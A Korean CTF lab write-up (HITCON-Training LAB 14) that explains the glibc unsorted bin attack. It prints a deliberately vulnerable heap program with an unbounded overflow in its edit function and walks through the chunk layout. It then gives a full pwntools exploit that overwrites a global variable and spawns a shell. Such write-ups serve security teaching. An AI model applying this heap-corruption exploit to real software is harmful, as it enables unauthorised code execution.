[HITCON-Training] LAB 14 : unsorted bin attack

 

unsorted bin attack을 활용하여 특정 전역변수의 값을 조작할 수 있는 문제이다.

 

unsorted bin attack 참고 →

 

먼저 문제 코드를 보자.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf,size_t size){
	int ret ;
    ret = read(0,buf,size);
    if(ret <=0){
        puts("Error");
        _exit(-1);
    }	
}

char *heaparray[10];
unsigned long int magic = 0 ;

void menu(){
	puts("--------------------------------");
	puts("       Magic Heap Creator       ");
	puts("--------------------------------");
	puts(" 1. Create a Heap               ");
	puts(" 2. Edit a Heap                 ");
	puts(" 3. Delete a Heap               ");
	puts(" 4. Exit                        ");
	puts("--------------------------------");
	printf("Your choice :");
}

void create_heap(){
	int i ;
	char buf[8];
	size_t size = 0;
	for(i = 0 ; i < 10 ; i++){
		if(!heaparray[i]){
			printf("Size of Heap : ");
			read(0,buf,8);
			size = atoi(buf);
			heaparray[i] = (char *)malloc(size);
			if(!heaparray[i]){
				puts("Allocate Error");
				exit(2);
			}
			printf("Content of heap:");
			read_input(heaparray[i],size);
			puts("SuccessFul");
			break ;
		}
	}
}

void edit_heap(){
	int idx ;
	char buf[4];
	size_t size ;
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Size of Heap : ");
		read(0,buf,8);
		size = atoi(buf);
		printf("Content of heap : ");
		read_input(heaparray[idx] ,size);
		puts("Done !");
	}else{
		puts("No such heap !");
	}
}


void delete_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		free(heaparray[idx]);
		heaparray[idx] = NULL ;
		puts("Done !");	
	}else{
		puts("No such heap !");
	}

}


void l33t(){
	system("/bin/sh"); // cat /flag에서 수정
}

int main(){
	char buf[8];
	setvbuf(stdout,0,2,0);
	setvbuf(stdin,0,2,0);
	while(1){
		menu();
		read(0,buf,8);
		switch(atoi(buf)){
			case 1 :
				create_heap();
				break ;
			case 2 :
				edit_heap();
				break ;
			case 3 :
				delete_heap();
				break ;
			case 4 :
				exit(0);
				break ;
			case 4869 :
				if(magic > 4869){
					puts("Congrt !");
					l33t();
				}else
					puts("So sad !");
				break ;
			default :
				puts("Invalid Choice");
				break;
		}

	}
	return 0 ;
}

 

크게 3가지 기능이 존재한다.

  1. create_heap() : 원하는 크기만큼 heap에 할당 받고 특정 값을 작성한다.
  2. edit_heap() : 이미 할당 받은 heap 객체에 원하는 크기만큼 새로운 값을 작성한다.
  3. delete_heap() : 할당했던 heap 객체를 해제하고, 해당 포인터를 NULL로 바꿔준다.

 

이때 3번 delete_heap에서 해제한 객체에 대한 포인터를 NULL로 바꿔주고 있기 때문에 UAF는 불가능하다.

대신 2번 edit_heap에서 새로운 값을 작성할 때 크기의 제한이 없기 때문에 overflow가 가능하다!!

 

따라서, heap overflow를 통해 해제된 객체의 bk를 수정하여 내가 원하는 주소에 큰 수를 저장할 수 있게 된다.

 

따라서 이 방법으로 magic 전역 변수에 큰 수(main_arena의 주소)를 저장함으로써 case 4869를 통과할 수 있게 할 것이다.

 

그림으로 나타내면 다음과 같다.

heap은 위의 그림처럼 표현할 수 있다. 3개의 객체(size : 0x100, fastbin이 아닌 unsortedbin에 추가되도록)를 할당 받은 후, 중간의 객체를 해제한다.

이때 2개의 객체를 할당 받지 않고 3개의 객체를 할당 받은 이유는, 만약 객체를 2개 할당받았다고 했을 때,

  1. 첫 번째 객체 해제 시 → overflow로 덮어쓰는 게 불가능하다
  2. 두 번째 객체 해제 시 → top chunk와 합쳐져서 unsorted bin attack이 불가능하다

 

따라서 3개의 객체를 할당 받고 중간 객체를 해제함으로써 overflow를 통한 unsorted bin attack을 가능하게 한 것이다.

 

처음에 중간 객체를 해제했을 때 unsorted chunk는 다음과 같이 나열된다고 볼 수 있다.

이때, overflow를 통해 freed chunk의 bk를 overwrite하고자 하는 주소 – 0x10으로 바꿔주면,

다음과 같이 가리키게 된다.

이때 새로 객체를 할당하면 freed chunk가 bk로 가리키고 있던 주소가 main_arena의 bk가 되는 것이고 (이때 메타데이터가 0x10 크기만큼 잡아먹기에, overwrite하고자 하는 주소 – 0x10으로 바꿔주는 것), double linked list를 유지하기 위해 해당 주소의 fd 위치에 main_arena의 주소가 적히게 되는 것이다.

즉, fake chunk는 해제된 chunk도 아니고 심지어 heap도 아니지만 unsorted bin에 추가되는 것이다. 그리고 unsorted bin은 double linked list로 유지되므로 fake chunk의 fd에 큰 수(main_arena의 주소)가 저장되는 것이다.

 

익스 코드는 다음과 같다.

from pwn import *

#context.log_level = 'debug'

p=process('./magicheap')
e=ELF('./magicheap')

magic=e.symbols['magic']
log.info('magic address : '+hex(magic))

def create_heap(size, content):
    p.sendlineafter('Your choice :', str(1))
    p.sendlineafter('Size of Heap : ', str(size))
    p.sendafter('Content of heap:', content)

def edit_heap(index, size, content):
    p.sendlineafter('Your choice :', str(2))
    p.sendlineafter('Index :', str(index))
    p.sendlineafter('Size of Heap : ', str(size))
    p.sendafter('Content of heap : ', content)

def delete_heap(index):
    p.sendlineafter('Your choice :', str(3))
    p.sendlineafter('Index :', str(index))

def exploit():
    p.sendlineafter('Your choice :', str(4869))

create_heap(0x100,b'aaaaaaaa')
create_heap(0x100,b'aaaaaaaa')
create_heap(0x100,b'aaaaaaaa')
delete_heap(1)

payload=b'b'*0x100
payload+=b'x00'*0x8
payload+=p64(0x111)
payload+=b'b'*0x8
payload+=p64(magic-0x10)

edit_heap(0,0x120,payload)
create_heap(0x100,b'aaaa')
exploit()

p.interactive()

 

성공!

 

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤